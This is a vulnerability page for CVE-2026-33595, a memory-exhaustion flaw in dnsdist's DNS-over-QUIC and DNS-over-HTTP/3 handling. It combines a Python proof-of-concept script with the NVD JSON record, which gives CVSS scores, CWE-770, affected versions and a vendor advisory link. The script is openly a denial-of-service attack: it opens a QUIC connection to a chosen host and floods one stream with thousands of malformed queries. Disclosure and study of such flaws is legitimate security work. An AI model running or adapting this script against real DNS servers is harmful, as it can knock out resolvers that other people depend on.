CVE-2026-33595

#!/usr/bin/env python3 """ PoC for CVE-2026-33595 - dnsdist DoQ/DoH3 Memory Exhaustion This script demonstrates how to trigger excessive memory allocation by generating multiple error responses over a single DoQ connection. """ import asyncio import aioquic from aioquic.asyncio import connect from aioquic.quic.configuration import QuicConfiguration async def send_malicious_requests(target_host, target_port, num_requests=10000): """Send excessive error requests to trigger memory exhaustion""" configuration = QuicConfiguration(is_client=True) async with connect(target_host, target_port, configuration=configuration) as protocol: stream_id = protocol._quic.get_next_available_stream_id() for i in range(num_requests): # Send malformed DNS queries to generate error responses malformed_query = b"\x00" * 100 # Invalid DNS query protocol._quic.send_stream_data(stream_id, malformed_query) await protocol.wait_closed() if __name__ == "__main__": target = "dns.example.com" port = 853 # DoQ default port asyncio.run(send_malicious_requests(target, port))

{"cve": {"id": "CVE-2026-33595", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:16:53.950", "lastModified": "2026-04-24T18:49:49.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A client can trigger excessive memory allocation by generating a lot of errors responses over a single DoQ and DoH3 connection, as some resources were not properly released until the end of the connection."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.13", "matchCriteriaId": "DCC2DF11-EC5C-4112-90F2-C266CB65D390"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.4", "matchCriteriaId": "29865EC6-C1A0-40F3-B0BB-7F71F9C1DCB7"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-04.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}